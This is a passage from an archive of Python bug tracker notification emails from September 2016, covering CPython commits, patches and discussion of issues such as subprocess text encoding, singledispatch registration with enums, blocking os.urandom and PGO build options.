    text_mode = encoding or errors or universal_newlines

    self.stdin = io.open(p2cwrite, 'wb', bufsize)
    if text_mode:
        self.stdin = io.TextIOWrapper(self.stdin, write_through=True,
                                      line_buffering=(bufsize == 1),
                                      encoding=encoding, errors=errors)

----------
nosy: +eryksun

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue6135>
_______________________________________

From report at bugs.python.org  Tue Sep  6 18:50:48 2016
From: report at bugs.python.org (Roundup Robot)
Date: Tue, 06 Sep 2016 22:50:48 +0000
Subject: [issue26027] Support Path objects in the posix module
In-Reply-To: <1452114329.99.0.617690911804.issue26027@psf.upfronthosting.co.za>
Message-ID: <20160906225045.31515.79278.9F89EDC7@psf.io>


Roundup Robot added the comment:

New changeset d0d9d7f55cb5 by Brett Cannon in branch 'default':
Issue #26027: Support path-like objects in PyUnicode-FSConverter().
https://hg.python.org/cpython/rev/d0d9d7f55cb5

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26027>
_______________________________________

From report at bugs.python.org  Tue Sep  6 18:50:59 2016
From: report at bugs.python.org (Raymond Hettinger)
Date: Tue, 06 Sep 2016 22:50:59 +0000
Subject: [issue18844] allow weights in random.choice
In-Reply-To: <1377537825.13.0.508607501106.issue18844@psf.upfronthosting.co.za>
Message-ID: <1473202259.45.0.967492818633.issue18844@psf.upfronthosting.co.za>


Changes by Raymond Hettinger <raymond.hettinger at gmail.com>:


Added file: http://bugs.python.org/file44407/weighted_choice2.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue18844>
_______________________________________

From report at bugs.python.org  Tue Sep  6 18:51:53 2016
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 06 Sep 2016 22:51:53 +0000
Subject: [issue6135] subprocess seems to use local encoding and give no choice
In-Reply-To: <1243494524.57.0.870766192683.issue6135@psf.upfronthosting.co.za>
Message-ID: <1473202313.1.0.264088459601.issue6135@psf.upfronthosting.co.za>


STINNER Victor added the comment:

> Why do you need to call getpreferredencoding()?

I proposed to do that, but I prefer your simple flag:

> text_mode = encoding or errors or universal_newlines

Steve: please use this simpler flag to avoid TextIOWrapper details in subprocess.py ;-)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue6135>
_______________________________________

From report at bugs.python.org  Tue Sep  6 18:55:49 2016
From: report at bugs.python.org (Roundup Robot)
Date: Tue, 06 Sep 2016 22:55:49 +0000
Subject: [issue17884] Try to reuse stdint.h types like int32_t
In-Reply-To: <1367362366.81.0.489465512002.issue17884@psf.upfronthosting.co.za>
Message-ID: <20160906225546.13860.58830.B1AE9D4D@psf.io>


Roundup Robot added the comment:

New changeset 1d29d3a1e0c6 by Victor Stinner in branch 'default':
Run Argument Clinic on posixmodule.c
https://hg.python.org/cpython/rev/1d29d3a1e0c6

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue17884>
_______________________________________

From report at bugs.python.org  Tue Sep  6 18:57:22 2016
From: report at bugs.python.org (Steve Dower)
Date: Tue, 06 Sep 2016 22:57:22 +0000
Subject: [issue6135] subprocess seems to use local encoding and give no choice
In-Reply-To: <1243494524.57.0.870766192683.issue6135@psf.upfronthosting.co.za>
Message-ID: <1473202642.92.0.424218597962.issue6135@psf.upfronthosting.co.za>


Steve Dower added the comment:

> Steve: please use this simpler flag to avoid TextIOWrapper details in subprocess.py

The TextIOWrapper details are already specified in multiple places in the documentation. Should we remove all of those and write it more like:

"if *encoding*, *errors* or *universal_newlines* are specified, the streams will be opened in text mode using TextIOWrapper."

That way we make the class part of the interface, but not the interpretation of the arguments. (Currently it's a big mess of encodings and newline transformations.)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue6135>
_______________________________________

From report at bugs.python.org  Tue Sep  6 18:58:11 2016
From: report at bugs.python.org (Raymond Hettinger)
Date: Tue, 06 Sep 2016 22:58:11 +0000
Subject: [issue27268] Incorrect error message on float('')
In-Reply-To: <1465396464.66.0.148764915141.issue27268@psf.upfronthosting.co.za>
Message-ID: <1473202691.79.0.116140549075.issue27268@psf.upfronthosting.co.za>


Changes by Raymond Hettinger <raymond.hettinger at gmail.com>:


----------
assignee: rhettinger -> Nofar Schnider
nosy: +Nofar Schnider

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27268>
_______________________________________

From report at bugs.python.org  Tue Sep  6 18:59:12 2016
From: report at bugs.python.org (Roundup Robot)
Date: Tue, 06 Sep 2016 22:59:12 +0000
Subject: [issue26027] Support Path objects in the posix module
In-Reply-To: <1452114329.99.0.617690911804.issue26027@psf.upfronthosting.co.za>
Message-ID: <20160906225909.48928.28439.B0253550@psf.io>


Roundup Robot added the comment:

New changeset 9be0286772bf by Brett Cannon in branch 'default':
Issue #26027, #27524: Document the support for path-like objects in os and os.path.
https://hg.python.org/cpython/rev/9be0286772bf

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26027>
_______________________________________

From report at bugs.python.org  Tue Sep  6 18:59:12 2016
From: report at bugs.python.org (Roundup Robot)
Date: Tue, 06 Sep 2016 22:59:12 +0000
Subject: [issue27524] Update os.path for PEP 519/__fspath__()
In-Reply-To: <1468616792.91.0.199248434704.issue27524@psf.upfronthosting.co.za>
Message-ID: <20160906225908.48928.34039.040205D4@psf.io>


Roundup Robot added the comment:

New changeset 9be0286772bf by Brett Cannon in branch 'default':
Issue #26027, #27524: Document the support for path-like objects in os and os.path.
https://hg.python.org/cpython/rev/9be0286772bf

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27524>
_______________________________________

From report at bugs.python.org  Tue Sep  6 18:59:13 2016
From: report at bugs.python.org (Roundup Robot)
Date: Tue, 06 Sep 2016 22:59:13 +0000
Subject: [issue27872] Update os/os.path docs to mention path-like object
 support
In-Reply-To: <1472248458.14.0.534169668817.issue27872@psf.upfronthosting.co.za>
Message-ID: <20160906225909.48928.69907.F81210DE@psf.io>


Roundup Robot added the comment:

New changeset abe3db90d8ad by Brett Cannon in branch 'default':
Merge for #27872 doc changes
https://hg.python.org/cpython/rev/abe3db90d8ad

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27872>
_______________________________________

From report at bugs.python.org  Tue Sep  6 18:59:31 2016
From: report at bugs.python.org (Brett Cannon)
Date: Tue, 06 Sep 2016 22:59:31 +0000
Subject: [issue27872] Update os/os.path docs to mention path-like object
 support
In-Reply-To: <1472248458.14.0.534169668817.issue27872@psf.upfronthosting.co.za>
Message-ID: <1473202771.47.0.117748492905.issue27872@psf.upfronthosting.co.za>


Changes by Brett Cannon <brett at python.org>:


----------
resolution:  -> fixed
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27872>
_______________________________________

From report at bugs.python.org  Tue Sep  6 19:01:40 2016
From: report at bugs.python.org (Gregory P. Smith)
Date: Tue, 06 Sep 2016 23:01:40 +0000
Subject: [issue27983] "Cannot perform PGO build because llvm-profdata was not
 found in PATH" error upon make
Message-ID: <1473202900.44.0.711175096314.issue27983@psf.upfronthosting.co.za>


New submission from Gregory P. Smith:

patch in issue26307 (which should be in soon) and do the following:

$ CC=clang ../3.6/configure --with-optimizations
$ make profile-opt
Error: Cannot perform PGO build because llvm-profdata was not found in PATH
Please add it to PATH and run ./configure again
Makefile:481: recipe for target 'profile-opt' failed

We can make this experience better.  It needs to

(1) Become a configure time error, and
(2) Do a better job of finding llvm-profdata (which exists in ${PATH} as "llvm-profdata-3.8" on Ubuntu 16.04).

----------
messages: 274657
nosy: alecsandru.patrascu, brett.cannon, gregory.p.smith
priority: normal
severity: normal
status: open
title: "Cannot perform PGO build because llvm-profdata was not found in PATH" error upon make
versions: Python 2.7, Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27983>
_______________________________________

From report at bugs.python.org  Tue Sep  6 19:05:14 2016
From: report at bugs.python.org (Roundup Robot)
Date: Tue, 06 Sep 2016 23:05:14 +0000
Subject: [issue21250] sqlite3 doesn't have unit tests for 'insert or
 [algorithm]' functionality.
In-Reply-To: <1397634761.6.0.834429340049.issue21250@psf.upfronthosting.co.za>
Message-ID: <20160906230510.14647.14628.5965DC26@psf.io>


Roundup Robot added the comment:

New changeset 91d3022b3f03 by Berker Peksag in branch '3.5':
Issue #21250: Add tests for SQLite's ON CONFLICT clause
https://hg.python.org/cpython/rev/91d3022b3f03

New changeset db2bedd5c34a by Berker Peksag in branch 'default':
Issue #21250: Merge from 3.5
https://hg.python.org/cpython/rev/db2bedd5c34a

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21250>
_______________________________________

From report at bugs.python.org  Tue Sep  6 19:07:57 2016
From: report at bugs.python.org (Berker Peksag)
Date: Tue, 06 Sep 2016 23:07:57 +0000
Subject: [issue21250] sqlite3 doesn't have unit tests for 'insert or
 [algorithm]' functionality.
In-Reply-To: <1397634761.6.0.834429340049.issue21250@psf.upfronthosting.co.za>
Message-ID: <1473203277.61.0.727274244966.issue21250@psf.upfronthosting.co.za>


Berker Peksag added the comment:

Thanks for the patch, Alex!

----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21250>
_______________________________________

From report at bugs.python.org  Tue Sep  6 19:08:52 2016
From: report at bugs.python.org (Gregory P. Smith)
Date: Tue, 06 Sep 2016 23:08:52 +0000
Subject: [issue27983] "Cannot perform PGO build because llvm-profdata was not
 found in PATH" error upon make
In-Reply-To: <1473202900.44.0.711175096314.issue27983@psf.upfronthosting.co.za>
Message-ID: <1473203332.44.0.66633302486.issue27983@psf.upfronthosting.co.za>


Changes by Gregory P. Smith <greg at krypto.org>:


----------
dependencies: +CPython build options for out-of-the box performance

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27983>
_______________________________________

From report at bugs.python.org  Tue Sep  6 19:09:23 2016
From: report at bugs.python.org (Gregory P. Smith)
Date: Tue, 06 Sep 2016 23:09:23 +0000
Subject: [issue27983] "Cannot perform PGO build because llvm-profdata was not
 found in PATH" error upon make
In-Reply-To: <1473202900.44.0.711175096314.issue27983@psf.upfronthosting.co.za>
Message-ID: <1473203363.18.0.538517083295.issue27983@psf.upfronthosting.co.za>


Gregory P. Smith added the comment:

i meant issue26359 above, not 26307.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27983>
_______________________________________

From report at bugs.python.org  Tue Sep  6 19:18:51 2016
From: report at bugs.python.org (Anselm Kiefner)
Date: Tue, 06 Sep 2016 23:18:51 +0000
Subject: [issue27984] singledispatch is wonky with enums
Message-ID: <1473203931.8.0.512988366273.issue27984@psf.upfronthosting.co.za>


New submission from Anselm Kiefner:

from functools import singledispatch
from enum import Enum

IS = Enum("IS", "a, b")

@singledispatch
def foo(x):
    print(foo.dispatch(x))
    print("foo")

@foo.register(IS.a)
def bar(x):
    print(foo.dispatch(x))
    print("bar")
    
@foo.register(int)
def baz(x):
    print("baz")
    
>>> foo(IS.a)
<function bar at 0x7fa92c319d90>
foo


I think the result is self-explaining. The foo.dispatch() correctly says function bar should be handling the call when IS.a is passed, but foo is handling the call anyway. If an int is passed, baz works as expected.

----------
messages: 274661
nosy: amogorkon
priority: normal
severity: normal
status: open
title: singledispatch is wonky with enums
type: behavior
versions: Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27984>
_______________________________________

From report at bugs.python.org  Tue Sep  6 19:20:07 2016
From: report at bugs.python.org (Roundup Robot)
Date: Tue, 06 Sep 2016 23:20:07 +0000
Subject: [issue27778] PEP 524: Add os.getrandom()
In-Reply-To: <1471368341.7.0.188364803995.issue27778@psf.upfronthosting.co.za>
Message-ID: <20160906232005.13783.8895.1C052B78@psf.io>


Roundup Robot added the comment:

New changeset 27267d2fb091 by Victor Stinner in branch 'default':
Add os.getrandom()
https://hg.python.org/cpython/rev/27267d2fb091

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27778>
_______________________________________

From report at bugs.python.org  Tue Sep  6 19:21:14 2016
From: report at bugs.python.org (Roundup Robot)
Date: Tue, 06 Sep 2016 23:21:14 +0000
Subject: [issue27974] Remove dead code in importlib._bootstrap
In-Reply-To: <1473179542.96.0.922306931354.issue27974@psf.upfronthosting.co.za>
Message-ID: <20160906232112.3633.37486.D23218DC@psf.io>


Roundup Robot added the comment:

New changeset a3db6e954f58 by Brett Cannon in branch 'default':
Issue #27974: Remove importlib._bootstrap._ManageReload.
https://hg.python.org/cpython/rev/a3db6e954f58

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27974>
_______________________________________

From report at bugs.python.org  Tue Sep  6 19:21:52 2016
From: report at bugs.python.org (Brett Cannon)
Date: Tue, 06 Sep 2016 23:21:52 +0000
Subject: [issue27974] Remove dead code in importlib._bootstrap
In-Reply-To: <1473179542.96.0.922306931354.issue27974@psf.upfronthosting.co.za>
Message-ID: <1473204112.64.0.857031642282.issue27974@psf.upfronthosting.co.za>


Brett Cannon added the comment:

Thanks for the patch!

----------
resolution:  -> fixed
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27974>
_______________________________________

From report at bugs.python.org  Tue Sep  6 19:22:25 2016
From: report at bugs.python.org (Brett Cannon)
Date: Tue, 06 Sep 2016 23:22:25 +0000
Subject: [issue21122] CPython fails to build modules with LLVM LTO on Mac OS X
In-Reply-To: <1396354260.96.0.514432416417.issue21122@psf.upfronthosting.co.za>
Message-ID: <1473204145.66.0.658543283138.issue21122@psf.upfronthosting.co.za>


Changes by Brett Cannon <brett at python.org>:


----------
resolution:  -> fixed
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21122>
_______________________________________

From report at bugs.python.org  Tue Sep  6 19:23:48 2016
From: report at bugs.python.org (Ethan Furman)
Date: Tue, 06 Sep 2016 23:23:48 +0000
Subject: [issue27984] singledispatch is wonky with enums
In-Reply-To: <1473203931.8.0.512988366273.issue27984@psf.upfronthosting.co.za>
Message-ID: <1473204228.76.0.741292642114.issue27984@psf.upfronthosting.co.za>


Changes by Ethan Furman <ethan at stoneleaf.us>:


----------
nosy: +ethan.furman

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27984>
_______________________________________

From report at bugs.python.org  Tue Sep  6 19:25:07 2016
From: report at bugs.python.org (Steve Dower)
Date: Tue, 06 Sep 2016 23:25:07 +0000
Subject: [issue6135] subprocess seems to use local encoding and give no choice
In-Reply-To: <1243494524.57.0.870766192683.issue6135@psf.upfronthosting.co.za>
Message-ID: <1473204307.78.0.717067331134.issue6135@psf.upfronthosting.co.za>


Steve Dower added the comment:

More doc updates - shouldn't be a difficult review this time, but I always like getting multiple opinions on doc changes.

----------
Added file: http://bugs.python.org/file44408/6135_5.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue6135>
_______________________________________

From report at bugs.python.org  Tue Sep  6 19:34:21 2016
From: report at bugs.python.org (Ethan Furman)
Date: Tue, 06 Sep 2016 23:34:21 +0000
Subject: [issue27984] singledispatch is wonky with enums
In-Reply-To: <1473203931.8.0.512988366273.issue27984@psf.upfronthosting.co.za>
Message-ID: <1473204861.8.0.97862205342.issue27984@psf.upfronthosting.co.za>


Ethan Furman added the comment:

> IS = Enum("IS", "a, b")

functools is meant to work with types, but the enum member "IS.a" is not a type -- however, the enum "IS" is a type.

Use "foo.register(IS)" instead.

----------
nosy: +ncoghlan, rhettinger

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27984>
_______________________________________

From report at bugs.python.org  Tue Sep  6 19:36:06 2016
From: report at bugs.python.org (Roundup Robot)
Date: Tue, 06 Sep 2016 23:36:06 +0000
Subject: [issue23226] Add float linspace recipe to docs
In-Reply-To: <1421102448.57.0.289351503451.issue23226@psf.upfronthosting.co.za>
Message-ID: <20160906233602.1474.74052.7FE098EE@psf.io>


Roundup Robot added the comment:

New changeset bb8fe61d78a4 by Raymond Hettinger in branch 'default':
Issue #23226:  Add linspace() recipe to the docs
https://hg.python.org/cpython/rev/bb8fe61d78a4

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue23226>
_______________________________________

From report at bugs.python.org  Tue Sep  6 19:36:31 2016
From: report at bugs.python.org (Raymond Hettinger)
Date: Tue, 06 Sep 2016 23:36:31 +0000
Subject: [issue23226] Add float linspace recipe to docs
In-Reply-To: <1421102448.57.0.289351503451.issue23226@psf.upfronthosting.co.za>
Message-ID: <1473204991.52.0.957277573009.issue23226@psf.upfronthosting.co.za>


Changes by Raymond Hettinger <raymond.hettinger at gmail.com>:


----------
resolution:  -> fixed
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue23226>
_______________________________________

From report at bugs.python.org  Tue Sep  6 19:37:44 2016
From: report at bugs.python.org (Roundup Robot)
Date: Tue, 06 Sep 2016 23:37:44 +0000
Subject: [issue27776] PEP 524: Make os.urandom() blocking on Linux
In-Reply-To: <1471352106.68.0.0657257565728.issue27776@psf.upfronthosting.co.za>
Message-ID: <20160906233742.31287.82741.818F0230@psf.io>


Roundup Robot added the comment:

New changeset 45fc0c83ed42 by Victor Stinner in branch 'default':
os.urandom() now blocks on Linux
https://hg.python.org/cpython/rev/45fc0c83ed42

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27776>
_______________________________________

From report at bugs.python.org  Tue Sep  6 19:43:10 2016
From: report at bugs.python.org (Eryk Sun)
Date: Tue, 06 Sep 2016 23:43:10 +0000
Subject: [issue27984] singledispatch register should typecheck its argument
In-Reply-To: <1473203931.8.0.512988366273.issue27984@psf.upfronthosting.co.za>
Message-ID: <1473205390.6.0.624579100881.issue27984@psf.upfronthosting.co.za>


Eryk Sun added the comment:

The register() method should raise a TypeError if it's called with an object that's not a type.

Consider the following:

    from functools import singledispatch

    class C:
        pass

    obj = C()

    @singledispatch
    def foo(x):
        print(foo.dispatch(x))
        print("foo")

    @foo.register(obj)
    def bar(x):
        print(foo.dispatch(x))
        print("bar")


    >>> foo(obj)
    <function bar at 0x7f16f2adc9d8>
    foo

----------
nosy: +eryksun
title: singledispatch is wonky with enums -> singledispatch register should typecheck its argument
versions: +Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27984>
_______________________________________

From report at bugs.python.org  Tue Sep  6 19:43:59 2016
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 06 Sep 2016 23:43:59 +0000
Subject: [issue27776] PEP 524: Make os.urandom() blocking on Linux
In-Reply-To: <1471352106.68.0.0657257565728.issue27776@psf.upfronthosting.co.za>
Message-ID: <1473205439.81.0.753385913629.issue27776@psf.upfronthosting.co.za>


STINNER Victor added the comment:

Nick: "+1 for a fallback in the SIPHash initialisation as well."

Sorry but I don't know a simple function to implement this. We might use the LCG RNG, but it's not really designed to be "secure". I don't think that it makes sense to initialize a shiny SIPHash with a crappy LCG RNG :-)

So I skip my turn on this idea and let others implement them if anyone consider that it's worth it.

To be clear: Python 3 doesn't start when getrandom() and /dev/urandom are not available or don't work, but it's not something new. Python 3.1 already starts with:

    fd = open("/dev/urandom", O_RDONLY);
    if (fd < 0)
        Py_FatalError("Failed to open /dev/urandom");

--

os.urandom() is now blocking, I close the issue.

----------
resolution:  -> fixed
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27776>
_______________________________________

From report at bugs.python.org  Tue Sep  6 19:44:27 2016
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 06 Sep 2016 23:44:27 +0000
Subject: [issue27778] PEP 524: Add os.getrandom()
In-Reply-To: <1471368341.7.0.188364803995.issue27778@psf.upfronthosting.co.za>
Message-ID: <1473205467.65.0.692382590994.issue27778@psf.upfronthosting.co.za>


Changes by STINNER Victor <victor.stinner at gmail.com>:


----------
resolution:  -> fixed
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27778>
_______________________________________

From report at bugs.python.org  Tue Sep  6 19:45:44 2016
From: report at bugs.python.org (Roundup Robot)
Date: Tue, 06 Sep 2016 23:45:44 +0000
Subject: [issue26798] add BLAKE2 to hashlib
In-Reply-To: <1461004812.44.0.872226457841.issue26798@psf.upfronthosting.co.za>
Message-ID: <20160906234541.78392.68468.15BFEDF7@psf.io>


Roundup Robot added the comment:

New changeset afa5a16456ed by Christian Heimes in branch 'default':
Issue #26798: Hello Winndows, my old friend. I've come to fix blake2 for you again.
https://hg.python.org/cpython/rev/afa5a16456ed

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26798>
_______________________________________

From report at bugs.python.org  Tue Sep  6 19:46:50 2016
From: report at bugs.python.org (Berker Peksag)
Date: Tue, 06 Sep 2016 23:46:50 +0000
Subject: [issue27984] singledispatch register should typecheck its argument
In-Reply-To: <1473203931.8.0.512988366273.issue27984@psf.upfronthosting.co.za>
Message-ID: <1473205610.02.0.691988199201.issue27984@psf.upfronthosting.co.za>


Changes by Berker Peksag <berker.peksag at gmail.com>:


----------
nosy: +lukasz.langa

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27984>
_______________________________________

From report at bugs.python.org  Tue Sep  6 19:48:47 2016
From: report at bugs.python.org (Guido van Rossum)
Date: Tue, 06 Sep 2016 23:48:47 +0000
Subject: [issue27985] Implement PEP 526
Message-ID: <1473205727.01.0.952056443906.issue27985@psf.upfronthosting.co.za>


New submission from Guido van Rossum:

Pending PEP 526's acceptance, I am inviting Ivan Levkivskyi to upload his patch here so it can be reviewed.

----------
assignee: gvanrossum
components: Interpreter Core
messages: 274672
nosy: gvanrossum
priority: normal
severity: normal
stage: needs patch
status: open
title: Implement PEP 526
type: enhancement
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27985>
_______________________________________

From report at bugs.python.org  Tue Sep  6 19:50:32 2016
From: report at bugs.python.org (Steve Dower)
Date: Tue, 06 Sep 2016 23:50:32 +0000
Subject: [issue1602] windows console doesn't print or input Unicode
In-Reply-To: <1197453390.87.0.813702844893.issue1602@psf.upfronthosting.co.za>
Message-ID: <1473205832.7.0.314466260342.issue1602@psf.upfronthosting.co.za>


Steve Dower added the comment:

Latest patch is attached.

PEP acceptance is sounding likely, so feel free to critically review.

----------
Added file: http://bugs.python.org/file44409/1602_4.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue1602>
_______________________________________

From report at bugs.python.org  Tue Sep  6 19:57:06 2016
From: report at bugs.python.org (R. David Murray)
Date: Tue, 06 Sep 2016 23:57:06 +0000
Subject: [issue24277] Take the new email package features out of provisional
 status
In-Reply-To: <1432476633.37.0.892331041879.issue24277@psf.upfronthosting.co.za>
Message-ID: <1473206226.97.0.563041484952.issue24277@psf.upfronthosting.co.za>


R. David Murray added the comment:

Obviously I quite missed the 3.5 deadline, and it is only thanks to the Core Sprint that I'm going to make the 3.6 deadline, but at least I'm making it.

There is one code change in this patch, changing the default behavior of as_string/str on EmailMessage (only) to be more sensible, and take advantage of the policy.utf8 flag to make str output more readable by default.  Otherwise, it is simply (hah) a fairly complete documentation reorganization and rewrite giving primacy to the new API and demoting the old API to 'legacy'.

----------
components: +email
keywords: +patch
nosy: +barry
stage: needs patch -> patch review
versions: +Python 3.6 -Python 3.5
Added file: http://bugs.python.org/file44410/email_doc_rewrite.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24277>
_______________________________________

From report at bugs.python.org  Tue Sep  6 19:58:30 2016
From: report at bugs.python.org (R. David Murray)
Date: Tue, 06 Sep 2016 23:58:30 +0000
Subject: [issue24277] Take the new email package features out of provisional
 status
In-Reply-To: <1432476633.37.0.892331041879.issue24277@psf.upfronthosting.co.za>
Message-ID: <1473206310.47.0.0317999581024.issue24277@psf.upfronthosting.co.za>


R. David Murray added the comment:

It is probably useless to try to review this as a diff.  It maybe better to just commit it, and let people report any problems as bugs.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24277>
_______________________________________

From report at bugs.python.org  Tue Sep  6 19:58:45 2016
From: report at bugs.python.org (Roundup Robot)
Date: Tue, 06 Sep 2016 23:58:45 +0000
Subject: [issue26307] no PGO for built-in modules with `make profile-opt`
In-Reply-To: <1454938106.72.0.648611247693.issue26307@psf.upfronthosting.co.za>
Message-ID: <20160906235840.31515.81189.B75D41AD@psf.io>


Roundup Robot added the comment:

New changeset 7d9cd4a0d488 by Gregory P. Smith in branch '3.5':
Fixes issue26307: The profile-opt build now applys PGO to the built-in
https://hg.python.org/cpython/rev/7d9cd4a0d488

New changeset bdc7292cf87e by Gregory P. Smith in branch 'default':
Fixes issue26307: The profile-opt build now applys PGO to the built-in modules.
https://hg.python.org/cpython/rev/bdc7292cf87e

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26307>
_______________________________________

From report at bugs.python.org  Tue Sep  6 20:00:15 2016
From: report at bugs.python.org (Davin Potts)
Date: Wed, 07 Sep 2016 00:00:15 +0000
Subject: [issue18844] allow weights in random.choice
In-Reply-To: <1377537825.13.0.508607501106.issue18844@psf.upfronthosting.co.za>
Message-ID: <1473206415.84.0.783538792783.issue18844@psf.upfronthosting.co.za>


Davin Potts added the comment:

I've gone through the patch -- looks good to me.

----------
nosy: +davin

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue18844>
_______________________________________

From report at bugs.python.org  Tue Sep  6 20:00:20 2016
From: report at bugs.python.org (Brett Cannon)
Date: Wed, 07 Sep 2016 00:00:20 +0000
Subject: [issue26359] CPython build options for out-of-the box performance
In-Reply-To: <1455445693.01.0.984013993837.issue26359@psf.upfronthosting.co.za>
Message-ID: <1473206420.69.0.939850494888.issue26359@psf.upfronthosting.co.za>


Brett Cannon added the comment:

Here is modification of Greg's patch to turn off LTO under OS X since LTO+PGO do not get along under El Capitan.

----------
Added file: http://bugs.python.org/file44411/issue26359.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26359>
_______________________________________

From report at bugs.python.org  Tue Sep  6 20:02:12 2016
From: report at bugs.python.org (Brett Cannon)
Date: Wed, 07 Sep 2016 00:02:12 +0000
Subject: [issue26359] CPython build options for out-of-the box performance
In-Reply-To: <1455445693.01.0.984013993837.issue26359@psf.upfronthosting.co.za>
Message-ID: <1473206532.8.0.385438016555.issue26359@psf.upfronthosting.co.za>


Brett Cannon added the comment:

Patch with the missing Makefile.pre.in part :P

----------
Added file: http://bugs.python.org/file44412/issue26359.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26359>
_______________________________________

From report at bugs.python.org  Tue Sep  6 20:02:26 2016
From: report at bugs.python.org (Brett Cannon)
Date: Wed, 07 Sep 2016 00:02:26 +0000
Subject: [issue26359] CPython build options for out-of-the box performance
In-Reply-To: <1455445693.01.0.984013993837.issue26359@psf.upfronthosting.co.za>
Message-ID: <1473206546.47.0.487168523285.issue26359@psf.upfronthosting.co.za>


Changes by Brett Cannon <brett at python.org>:


Removed file: http://bugs.python.org/file44411/issue26359.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26359>
_______________________________________

From report at bugs.python.org  Tue Sep  6 20:04:00 2016
From: report at bugs.python.org (Roundup Robot)
Date: Wed, 07 Sep 2016 00:04:00 +0000
Subject: [issue27776] PEP 524: Make os.urandom() blocking on Linux
In-Reply-To: <1471352106.68.0.0657257565728.issue27776@psf.upfronthosting.co.za>
Message-ID: <20160907000356.31306.76668.5C9E3A29@psf.io>


Roundup Robot added the comment:

New changeset ebbfc053360a by Victor Stinner in branch 'default':
Issue #27776: include process.h on Windows for getpid()
https://hg.python.org/cpython/rev/ebbfc053360a

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27776>
_______________________________________

From report at bugs.python.org  Tue Sep  6 20:08:15 2016
From: report at bugs.python.org (Roundup Robot)
Date: Wed, 07 Sep 2016 00:08:15 +0000
Subject: [issue16334] Faster unicode-escape and raw-unicode-escape codecs
In-Reply-To: <1351291705.86.0.638624862326.issue16334@psf.upfronthosting.co.za>
Message-ID: <20160907000812.31222.38781.361535AC@psf.io>


Roundup Robot added the comment:

New changeset ad5a28ace615 by Victor Stinner in branch 'default':
Optimize unicode_escape and raw_unicode_escape
https://hg.python.org/cpython/rev/ad5a28ace615

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue16334>
_______________________________________

From report at bugs.python.org  Tue Sep  6 20:09:55 2016
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 07 Sep 2016 00:09:55 +0000
Subject: [issue16334] Faster unicode-escape and raw-unicode-escape codecs
In-Reply-To: <1351291705.86.0.638624862326.issue16334@psf.upfronthosting.co.za>
Message-ID: <1473206995.31.0.548346892279.issue16334@psf.upfronthosting.co.za>


STINNER Victor added the comment:

Since it's almost the 3.6 beta 1, I chose to push the change right now. I'm sure that it's faster, I trust your benchmarks ;-)

Thanks Serhiy for this nice enhancement.


> > * Rename WRITECHAR macro to WRITE_ASCII_CHAR()

> This is not correct name. This macro is used for writing non-ascii characters too.

Oh, I fixed this in the pushed change.

----------
resolution:  -> fixed
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue16334>
_______________________________________

From report at bugs.python.org  Tue Sep  6 20:13:10 2016
